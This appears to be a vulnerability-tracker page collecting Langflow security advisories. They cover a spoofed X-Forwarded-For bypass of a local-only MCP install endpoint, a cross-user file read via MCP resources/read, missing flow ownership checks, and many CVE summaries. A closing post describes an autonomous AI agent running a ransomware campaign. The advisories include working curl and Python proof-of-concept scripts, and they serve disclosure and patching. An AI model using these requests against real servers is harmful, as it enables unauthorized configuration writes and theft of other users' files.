See how langflow compares to other vendors in security performance
Description: Summary An IP spoofing vulnerability in the Model Context Protocol (MCP) configuration installation endpoint (POST /api/v1/mcp/project/{projectid}/install) allowed authenticated remote attackers to bypass the "local-only" access restriction. By sending a spoofed X-Forwarded-For: 127.0.0.1 header, an attacker could make the server treat the request as originating from localhost, letting them write/overwrite an MCP client configuration file on the server's filesystem.
Details The vulnerability lived in the getclientip helper, used to enforce the local-only gate for installmcpconfig. It trusted the leftmost (fully client-controlled) entry of X-Forwarded-For unconditionally, with no check for whether the request had actually passed through a trusted proxy.
Vulnerable code (introduced by commit d3d06be8e5, first released in v1.5.0): src/backend/base/langflow/api/v1/mcpprojects.py
python def getclientip(request: Request) -> str: # Check for X-Forwarded-For header (common when behind proxies) forwardedfor = request.headers.get("X-Forwarded-For") if forwardedfor: # The client IP is the first one in the list return forwardedfor.split(",")[0].strip() if request.client: return request.client.host return "255.255.255.255"
@router.post("/{projectid}/install") async def installmcpconfig( projectid: UUID, body: MCPInstallRequest, # {client: str, transport: "sse" | "streamablehttp" | None} request: Request, currentuser: CurrentActiveMCPUser, ): clientip = getclientip(request) if not islocalip(clientip): raise HTTPException(statuscode=500, detail="MCP configuration can only be installed from a local connection") ...
Correction vs. the original report: the request body accepted by this endpoint is MCPInstallRequest {client: str, transport: str | None} (src/backend/base/langflow/api/v1/schemas/init.py). There is no mcppath field, and the destination path is never attacker-supplied. installmcpconfig resolves the write target itself, via getconfigpath(body.client), to one of a fixed, small set of well-known per-OS developer-tool config paths under the server process's home directory: ~/.cursor/mcp.json (Cursor), ~/.codeium/windsurf/mcpconfig.json (Windsurf), or the Claude Desktop config (~/Library/Application Support/Claude/claudedesktopconfig.json on macOS, %APPDATA%\Claude\claudedesktopconfig.json on Windows/WSL). The impact is therefore "attacker-influenced content written into one of these fixed files," not an arbitrary-path write.
PoC 1. Authenticate to obtain a valid access token. 2. Identify a projectid the attacker has access to. 3. Send: bash curl -X POST "http://<server-ip>:7860/api/v1/mcp/project/<projectid>/install" \ -H "Authorization: Bearer <token>" \ -H "X-Forwarded-For: 127.0.0.1" \ -H "Content-Type: application/json" \ -d '{"client": "cursor"}' 4. The server returns 200 OK and writes/overwrites ~/.cursor/mcp.json on the host with an attacker-influenced MCP server entry, despite the request originating from a remote, non-local address.
Impact Authenticated Remote Configuration Write to one of a fixed set of IDE/MCP client config files on the host. Could be leveraged to: - Inject a malicious MCP server definition into Cursor/Windsurf/Claude Desktop config, so a local developer who later opens that IDE on the host connects to an attacker-controlled MCP server. - Disrupt or corrupt the existing MCP configuration for those tools. - Bypass an intended network-boundary control ("local-only").
Status: already fixed This exact bypass (single-line, comma-separated X-Forwarded-For spoofing, default configuration) is fixed as of: - Fix PR: langflow-ai/langflow#13915 — "fix(security): stop trusting X-Forwarded-For for the MCP install locality check", landed as part of the broader hardening effort in langflow-ai/langflow#13530. - Fix: getclientip now uses the real TCP peer (request.client.host) by default and ignores X-Forwarded-For entirely unless the operator has explicitly opted in via the ratelimittrustproxy setting (default False); when opted in, it takes the rightmost entry, mirroring langflow.services.ratelimit.service.getclientip. - Released in: v1.11.0, and backported to v1.10.3 (langflow-ai/langflow#14071). - Related follow-up: a narrower, related bypass — reachable only when an operator has explicitly set ratelimittrustproxy=true behind a proxy that emits X-Forwarded-For as repeated header lines rather than a single comma-separated line (e.g. HAProxy's option forwardfor) — was separately closed by langflow-ai/langflow#14425, released in v1.11.3. This does not affect default deployments (ratelimittrustproxy defaults to False). - This report is a near-duplicate of GHSA-qvvj-g573-9638, which describes the same root cause and is fixed by the same PR.
Affected versions - The vulnerable endpoint/helper was introduced in v1.5.0 (langflow-ai/langflow#8271, "add one click install to mcp servers on specific clients", 2025-07-08). Versions prior to v1.5.0 do not contain this endpoint and are not affected by this issue. - Vulnerable: >= 1.5.0, < 1.10.3 (and < 1.11.0 on mainline). - Fixed: v1.10.3 (backport) and v1.11.0 onward.
Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to 1.9.0, any authenticated Langflow user can achieve Remote Code Execution (RCE) on the server by adding an MCP server with the "Stdio" transport. The user-supplied command field is passed directly to bash -c "exec {command}" with zero validation, no allowlisting, and no sandboxing. The command executes immediately when the server list is fetched. Additionally, the env field allows arbitrary environment variable injection (e.g., LDPRELOAD, PATH override). This vulnerability is fixed in 1.9.0.
Summary Langflow's project-scoped MCP transport authenticates the caller for the projectid in the connection URL, but the subsequent resources/read operation does not authorize the resource URI being requested. An authenticated user can connect to their own project-scoped MCP endpoint and supply a crafted file-download URI that points to another user's flow-backed file. The server then reads and returns the victim file without verifying ownership or project membership.
This is a cross-user authorization bypass (userA -> userB) that allows arbitrary read access to files stored under other users' flow namespaces.
Details Verified against local checkout:
- Repository: langflow-ai/langflow - Verified on release tag: v1.8.3 - Commit: 08bf98404cfd7737fde57a2588785766cdf1b42e - Earliest stable release known to contain the vulnerable code path: v1.6.8
Relevant code path:
1. src/backend/base/langflow/api/v1/mcpprojects.py:147-193 verifyprojectauthconditional() authenticates the caller and checks access only to the projectid in the MCP transport URL.
2. src/backend/base/langflow/api/v1/mcpprojects.py:1238-1241 The project-scoped MCP server registers readresource() and forwards the attacker-controlled URI directly to handlereadresource(uri=uri).
3. src/backend/base/langflow/api/v1/mcputils.py:163-182 handlereadresource() parses the last two URI path segments as flowid and filename, then directly calls:
python storageservice.getfile(flowid=flowid, filename=filename)
No check ties the supplied flowid back to the authenticated user or the current project.
4. src/backend/base/langflow/services/storage/local.py:141-149 src/backend/base/langflow/services/storage/s3.py:200-217 The storage layer performs a raw namespace read and is not authorization-aware.
The result is that authorization is enforced at MCP connection time, but not at resource-read time. Once an attacker has access to any project-scoped MCP endpoint they own, they can read another user's flow-backed file by passing a victim-controlled URI.
This issue is also easier to exploit because the global MCP helpers expose cross-user discovery data:
- src/backend/base/langflow/api/v1/mcputils.py:102-121 handlelistresources(projectid=None) lists files for all flows. - src/backend/base/langflow/api/v1/mcputils.py:333-380 handlelisttools(projectid=None) queries all flows and includes flow IDs in tool metadata.
That global enumeration is not required for exploitation, but it makes obtaining victim identifiers much easier.
PoC Preconditions:
- Langflow is running locally with authentication enabled. - Two separate users exist on the same instance. - The victim has a flow with an uploaded file. - The attacker has access to any project they own.
Verify the issue locally by starting Langflow with:
bash cd '/Users/r1zzg0d/Documents/CVE hunting/targets/langflow'
set -a source .env.verify set +a
export LANGFLOWCONFIGDIR="$PWD/.langflow-verify"
uv run python - <<'PY' from langflow.main import setupapp import uvicorn
app = setupapp(backendonly=True) uvicorn.run(app, host="127.0.0.1", port=7860, loglevel="debug") PY
Then, in a second terminal, the following script creates a victim user, an attacker user, a victim flow-backed file, and demonstrates that:
- the normal file download route is blocked for the attacker (404) - the same file is readable through the attacker's own project-scoped MCP connection
bash cd '/Users/r1zzg0d/Documents/CVE hunting/targets/langflow' set -euo pipefail
export BASE='http://127.0.0.1:7860' export PASS='Passw0rd!Passw0rd!' export VICTIMUSER="victim.$RANDOM@example.com" export ATTACKERUSER="attacker.$RANDOM@example.com"
curl -sS -X POST "$BASE/api/v1/users/" \ -H 'Content-Type: application/json' \ -d "{\"username\":\"$VICTIMUSER\",\"password\":\"$PASS\"}" >/dev/null
curl -sS -X POST "$BASE/api/v1/users/" \ -H 'Content-Type: application/json' \ -d "{\"username\":\"$ATTACKERUSER\",\"password\":\"$PASS\"}" >/dev/null
export VICTIMTOKEN=$( curl -sS -X POST "$BASE/api/v1/login" \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode "username=$VICTIMUSER" \ --data-urlencode "password=$PASS" | jq -r '.accesstoken' )
export ATTACKERTOKEN=$( curl -sS -X POST "$BASE/api/v1/login" \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode "username=$ATTACKERUSER" \ --data-urlencode "password=$PASS" | jq -r '.accesstoken' )
export VICTIMPROJECTID=$( curl -sS -X POST "$BASE/api/v1/projects/" \ -H "Authorization: Bearer $VICTIMTOKEN" \ -H 'Content-Type: application/json' \ -d '{"name":"victim-project"}' | jq -r '.id' )
export ATTACKERPROJECTID=$( curl -sS -X POST "$BASE/api/v1/projects/" \ -H "Authorization: Bearer $ATTACKERTOKEN" \ -H 'Content-Type: application/json' \ -d '{"name":"attacker-project"}' | jq -r '.id' )
export VICTIMFLOWID=$( curl -sS -X POST "$BASE/api/v1/flows/" \ -H "Authorization: Bearer $VICTIMTOKEN" \ -H 'Content-Type: application/json' \ -d "{\"name\":\"victim-flow\",\"data\":{\"nodes\":[],\"edges\":[]},\"folderid\":\"$VICTIMPROJECTID\"}" \ | jq -r '.id' )
printf 'cross-project-read-proof\n' > /tmp/secret.txt
export UPLOADJSON=$( curl -sS -X POST "$BASE/api/v1/files/upload/$VICTIMFLOWID" \ -H "Authorization: Bearer $VICTIMTOKEN" \ -F "file=@/tmp/secret.txt" )
export VICTIMFILE=$( printf '%s' "$UPLOADJSON" | jq -r '.filepath | split("/") | last' )
export VICTIMURI="$BASE/api/v1/files/download/$VICTIMFLOWID/$VICTIMFILE"
export ATTACKERAPIKEY=$( curl -sS -X POST "$BASE/api/v1/apikey/" \ -H "Authorization: Bearer $ATTACKERTOKEN" \ -H 'Content-Type: application/json' \ -d '{"name":"attacker-mcp-key"}' | jq -r '.apikey' )
export DIRECTSTATUS=$( curl -sS -o /dev/null -w '%{httpcode}' \ -H "Authorization: Bearer $ATTACKERTOKEN" \ "$VICTIMURI" )
export MCPREADOUTPUT=$( uv run python - <<'PY' import asyncio import base64 import os
import httpx from mcp import ClientSession from mcp.client.streamablehttp import streamablehttpclient
base = os.environ["BASE"] projectid = os.environ["ATTACKERPROJECTID"] apikey = os.environ["ATTACKERAPIKEY"] victimuri = os.environ["VICTIMURI"] url = f"{base}/api/v1/mcp/project/{projectid}/streamable"
async def main(): async with httpx.AsyncClient(headers={"x-api-key": apikey}, timeout=30.0) as client: async with streamablehttpclient(url, httpclient=client) as (readstream, writestream, ): async with ClientSession(readstream, writestream) as session: await session.initialize() result = await session.readresource(victimuri) blob = result.contents[0].blob print(base64.b64decode(base64.b64decode(blob)).decode().strip())
asyncio.run(main()) PY )
echo "Direct /files/download as attacker -> $DIRECTSTATUS" echo "Project-scoped MCP resources/read -> $MCPREADOUTPUT"
Expected output:
text Direct /files/download as attacker -> 404 Project-scoped MCP resources/read -> cross-project-read-proof
Observed server logs during verification:
text GET /api/v1/files/download/... 404 Not Found POST /api/v1/mcp/project/<attacker-project-id>/streamable 200 OK POST /api/v1/mcp/project/<attacker-project-id>/streamable 202 Accepted POST /api/v1/mcp/project/<attacker-project-id>/streamable 200 OK
Impact This is an authenticated IDOR / arbitrary file read issue in the MCP layer.
Any authenticated Langflow user who can access at least one project-scoped MCP endpoint can read files belonging to other users by supplying a victim file URI to resources/read.
Practical impact includes:
- Cross-user disclosure of uploaded documents, CSV files, JSON files, prompts, and other flow-backed artifacts - Unauthorized access to sensitive business data stored in flow namespaces - Easier exploitation when global MCP helpers reveal other users' flow IDs and file names
Suggested Remediations 1. Authorize resources/read against the authenticated context before calling storage. Resolve flowid to a database object and require both: flow.userid == currentuser.id and, for project-scoped transports, flow.folderid == currentprojectid.
2. Stop trusting arbitrary file-download URIs as resource identifiers. Instead, return opaque server-generated resource IDs from resources/list and resolve them server-side to an already authorized object.
3. Scope global MCP enumeration helpers to the authenticated user. handlelistresources() and handlelisttools() should not query all flows when projectid=None; they should return only flows owned by the current user, or require elevated privileges for broader discovery.
Fix Status (Maintainer Triage Update — 2026-09-22)
This report is accurate. The vulnerable code path described above (missing ownership check in handlereadresource()) has since been fixed.
Corrected affected version range: >= 1.6.8, <= 1.9.0 (not <= 1.8.3 — confirmed still vulnerable through v1.9.0; the fix landed with the v1.9.1 release, not later).
Fixed in: v1.9.1 (GitHub Release published 2026-04-24), via PR #12818 — "fix(mcp): close path traversal + cross-user disclosure (PVR0754098)". - Backport commit on release-1.9.1: f0fd436fe9829192ee550e6cb46961a01dd37032 - Corresponding commit on main: b8fe970493fd5fb2e1fc71dfccc79f90b76058fa
The fix: - handlereadresource() now requires an authenticated user context and resolves the namespace segment of the URI to a Flow row scoped to Flow.userid == currentuser.id, additionally filtering on Flow.folderid == projectid for project-scoped MCP servers (src/backend/base/langflow/api/v1/mcputils.py). - Rejects filenames containing .., /, or \ as defense-in-depth against path traversal, and applies the same containment check to the storage layer's getfile/getfilestream/deletefile/getfilesize (local.py/s3.py, both in langflow and lfx). - handlelistresources() / handlelisttools() are now scoped to currentuser.id on the global (non-project) MCP server, closing the cross-user enumeration this report also flagged.
Verified independently against langflow-ai/langflow @ 89444c3bb5 (release-1.11.0 branch, current as of 2026-09-22): the fix is present, and the regression suite (src/backend/tests/unit/api/v1/testmcputils.py, 21/21 passing) includes testhandlereadresourcedeniesotherusersflow, which reproduces this report's exact cross-user scenario and asserts it now raises ValueError("... access denied").
Summary
Before Langflow 1.10.1, two deprecated but still-routed endpoints in the chat API did not check that the authenticated caller owns the flow referenced in the URL path:
- POST /api/v1/build/{flowid}/vertices (retrieveverticesorder) - POST /api/v1/build/{flowid}/vertices/{vertexid} (buildvertex)
Any authenticated user who knows (or obtains) another user's flowid could load that user's private flow graph, enumerate its vertex IDs, and build (execute) individual vertices of it, receiving the vertex results in the response.
Both routes are declared with deprecated=True, includeinschema=False, so they do not appear in the OpenAPI docs, but they remained registered on the router. The Langflow UI no longer calls them (it uses POST /api/v1/build/{flowid}/flow), so they are only reachable by direct HTTP requests.
The issue is fixed in Langflow 1.10.1 (langflow-base 0.10.1) by #13153.
Details
In affected versions, both handlers go straight to the graph loader:
- retrieveverticesorder (src/backend/base/langflow/api/v1/chat.py, lines 81-159 in 1.9.1) only required authentication via dependencies=[Depends(getcurrentactiveuser)]. The user was never injected into the handler, and the flow was loaded with buildgraphfromdb(flowid=flowid, ...). - buildvertex (chat.py, lines 320-491 in 1.9.1) receives currentuser, but only uses it for variable resolution (userid=str(currentuser.id)). It is never used to scope the flow lookup. The graph is taken from the chat-service cache keyed by flowid, or rebuilt with buildgraphfromdb on a cache miss. - buildgraphfromdbnocache (src/backend/base/langflow/api/utils/flowutils.py) does a bare primary-key lookup, session.get(Flow, flowid), with no owner filter.
The supported replacement, POST /api/v1/build/{flowid}/flow, already restricted the lookup to the owner or a PUBLIC flow (added in #12305 for GHSA-qj98-rhf8-v93f). The deprecated siblings were not covered by that fix, nor by the readflow fix for GHSA-8c4j-f57c-35cf.
Additional side effects in affected versions:
- retrieveverticesorder stores the graph in the chat-service cache under the victim's flowid (chatservice.setcache(str(flowid), graph)). When the request includes a data body, the cached graph is attacker-supplied. - buildvertex schedules logvertexbuild for the victim's flowid, so attacker-triggered builds are recorded in the victim flow's vertex build history.
Note on older versions: up to and including 1.7.1, these two routes had no authentication dependency at all. Authentication was added in 1.7.2 by #10977, but no ownership check was added. This advisory covers the missing ownership check, which is present in every release from 1.0.0 (when the routes were introduced) through 1.10.0.
Attack scenario
1. The attacker authenticates as any valid user. 2. The attacker obtains a victim flowid (shared URLs, exported flow files, logs, screenshots, etc.). 3. POST /api/v1/build/{victimflowid}/vertices returns 200 OK with {"ids": [...], "runid": "...", "verticestorun": [...]} listing the victim flow's vertex IDs (component type plus suffix, e.g. ChatInput-abc12). 4. The attacker calls POST /api/v1/build/{victimflowid}/vertices/{vertexid} for a returned ID. The victim's graph is loaded and the vertex is built. Its results, outputs and artifacts are returned to the attacker.
Impact
- Confidentiality (Low): Discloses the structure of private flows (vertex IDs and component types) and the outputs of vertices the attacker chooses to build. That includes values hardcoded in node configuration, such as prompt text or fixed inputs. - Global variables and credentials in the variable store are not exposed, because variable resolution uses the caller's userid. - The victim's stored flow definition is not returned wholesale. - Integrity (Low): The attacker can trigger execution of the victim's nodes, including any side effects baked into their configuration (fixed endpoints, webhooks, hardcoded API keys). Build records are written under the victim's flowid. The attacker cannot modify the stored flow. - Availability: None.
The attacker must be authenticated and must know the target flow UUID. Flow UUIDs are random v4 values, so blind enumeration is not practical.
Proof of concept
Observed on langflow==1.9.1 using the project's test client and in-memory SQLite fixtures (see the attached poc.zip):
| Request | Expected (hardened) | Observed on 1.9.1 | |---|---|---| | Attacker → POST /api/v1/build/{victimflowid}/vertices | 404 Not Found | 200 OK with vertex order payload | | Attacker → POST /api/v1/build/{victimflowid}/vertices/<bogus-id> | 404 Not Found | 500 {"detail":"Vertex <id> not found"}: the victim graph was loaded before the vertex lookup failed | | Owner (control) → same endpoints | non-404 | non-404 |
On 1.10.1 and later, the attacker requests return 404 Not Found. This is covered by regression tests in src/backend/tests/unit/testendpoints.py:
- testgetverticesreturns404forotherusersprivateflow - testgetverticeswithsupplieddatareturns404forotherusersprivateflow - testbuildvertexreturns404forotherusersprivateflow
Patches
Fixed in Langflow 1.10.1 (langflow-base 0.10.1) by #13153 (merge commit fb3d6ec90b). Both handlers now:
1. inject currentuser (for retrieveverticesorder, this replaces the dependencies-only declaration), 2. load the flow with an owner-scoped query and return 404 when it is not found, so a flow you don't own looks the same as a missing flow, and 3. call ensureflowpermission(currentuser, FlowAction.EXECUTE, ...) before building or caching any graph.
python retrieveverticesorder / buildvertex (1.10.1) stmt = ( select(Flow) .where(Flow.id == flowid) .where((Flow.userid == currentuser.id) | (Flow.accesstype == AccessTypeEnum.PUBLIC)) ) flow = (await session.exec(stmt)).first() if not flow: raise HTTPException(statuscode=404, detail=f"Flow with id {flowid} not found") await ensureflowpermission( currentuser, FlowAction.EXECUTE, flowid=flowid, flowuserid=flow.userid, workspaceid=flow.workspaceid, folderid=flow.folderid, )
Related hardening in later releases:
- #14342 (1.11.2) applies the same guard to the sibling GET /api/v1/build/{flowid}/{vertexid}/stream route. - #14497 (1.12.0) makes all three deprecated vertex routes owner-only, dropping the PUBLIC exception, because their graph cache is keyed by flow UUID rather than by the executing user.
Users should upgrade to 1.10.1 or later. The latest release is recommended.
Workarounds
If upgrading is not immediately possible, block POST /api/v1/build//vertices and POST /api/v1/build//vertices/ (and GET /api/v1/build///stream) at a reverse proxy. The Langflow UI does not use these routes.
IBM Langflow OSS 1.0.0 through 1.12.2 could allow a remote authenticated attacker to execute arbitrary code due to improper access control.
IBM Langflow OSS 1.0.0 through 1.12.2 could allow a remote authenticated attacker to execute arbitrary code due to improper neutralization of special elements used in an OS command ('Code Injection') related to improper input validation.
IBM Langflow OSS 1.0.0 through 1.12.2 could allow a remote authenticated attacker to execute arbitrary code due to improper neutralization of special elements used in code, resulting in a sandbox escape.
IBM Langflow OSS 1.0.0 through 1.12.2 could allow a remote authenticated attacker to cause a denial of service due to uncontrolled resource consumption during ZIP file extraction.
IBM Langflow OSS 1.0.0 through 1.12.2 could allow a remote authenticated attacker to obtain sensitive information due to improper limitation of a pathname to a restricted directory.
IBM Langflow OSS 1.0.0 through 1.12.2 could allow a remote attacker to execute arbitrary code due to an expected dependency confusion.
IBM Langflow OSS 1.0.0 through 1.12.2 could allow a remote authenticated attacker to execute arbitrary code due to improper control of code generation.
IBM Langflow OSS 1.0.0 through 1.12.2 could allow a remote authenticated attacker to obtain sensitive information due to insufficiently protected credentials.
IBM Langflow OSS 1.0.0 through 1.12.2 could allow a remote attacker to execute arbitrary code due to an incomplete blocklist in the code security scanner.
IBM Langflow OSS 1.0.0 through 1.12.2 could allow a remote authenticated attacker to execute arbitrary code due to improper control of code generation.
IBM Langflow OSS 1.0.0 through 1.12.2 could allow a remote authenticated attacker to obtain sensitive information due to improper access control.
IBM Langflow OSS 1.0.0 through 1.12.2 could allow a remote authenticated attacker to obtain sensitive information or inject malicious data due to improper access control in the vertex result caching subsystem.
IBM Langflow OSS 1.0.0 through 1.12.2 could allow a remote authenticated attacker to execute arbitrary code due to improper control of generation of code.
IBM Langflow OSS 1.0.0 through 1.12.2 could allow a remote authenticated attacker to execute arbitrary code due to improper neutralization of special elements used in code.
IBM Langflow OSS 1.0.0 through 1.12.2 could allow a remote authenticated attacker to obtain sensitive information due to improper limitation of a pathname to a restricted directory.
IBM Langflow OSS 1.0.0 through 1.12.2 could allow a remote attacker to execute arbitrary code due to improper control of code generation.
IBM Langflow OSS 1.0.0 through 1.12.2 could allow a remote authenticated attacker to execute arbitrary code due to improper input validation.
IBM Langflow OSS 1.0.0 through 1.12.2 could allow a remote authenticated attacker to execute arbitrary code due to improper input validation.
IBM Langflow OSS 1.0.0 through 1.12.2 could allow a remote authenticated attacker to obtain sensitive information due to exposure of sensitive information to an unauthorized actor.
IBM Langflow OSS 1.0.0 through 1.12.2 could allow a remote authenticated attacker to obtain sensitive information due to a path traversal vulnerability.
IBM Langflow OSS 1.0.0 through 1.12.2 could allow a remote attacker to execute arbitrary code due to improper neutralization of special elements used in an OS command.
IBM Langflow OSS 1.0.0 through 1.12.2 could allow a remote authenticated attacker to obtain sensitive information due to improper authorization.
IBM Langflow OSS 1.0.0 through 1.12.2 could allow an attacker with access to the server secret and Redis write access to submit a malicious serialized cache value. When the value was retrieved, deserialization could have executed attacker-controlled code with the privileges of the service process.
IBM Langflow OSS 1.0.0 through 1.12.2 could allow a remote authenticated attacker to execute arbitrary OS commands due to improper neutralization of special elements used in an OS command ('Code Injection'), aka improper control of code generation.
Langflow 1.0.16 before 1.12.0 and 0.0.94 before 1.12.0 contain an unsafe eval() vulnerability in schema.py that allows authenticated attackers to achieve code execution by placing a Python object with a malicious repr method into component input options lists. The eval() sink is triggered when a component is converted into a LangChain tool via ComponentToolkit.gettools(), including during custom component saves through the API, by interpolating options into a Literal type string that is passed directly to eval() without safe evaluation controls.
Sysdig's threat research team published a detailed breakdown of JADEPUFFER, an agentic AI system that executed a complete ransomware campaign with no human operator involvement after initial target selection.
The attack chain: CVE-2025-3248 (Langflow RCE) for initial access, credential harvesting across LLM providers and cloud platforms, MinIO default credential exploitation, then lateral movement to a Nacos configuration server via CVE-2021-29441 (auth bypass) and JWT forgery using the well-known default signing key.
The interesting part is the self-correction behavior. When a bcrypt hash generation failed due to a PATH issue in the container, the agent diagnosed the failure, generated two hypotheses, tested both, and deployed a fix in 31 seconds. Sysdig's telemetry timeline shows the full correction chain.
Then it got worse. CSA documented ENCFORGE, a JADEPUFFER variant that specifically targets ML model files (.safetensors, .gguf, .pt, .faiss, .parquet). Destruction-first ransomware. No leak site. Leverage comes from model reconstruction costs ($75K-$500K per model).
Wrote up the full attack chain, the autonomous behavior markers, and practical defenses for self-hosted AI infrastructure:
https://medium.com/@neonmaxima/jadepuffer-is-the-first-autonomous-ai-ransomware-encforge-makes-it-worse-dcb569a11502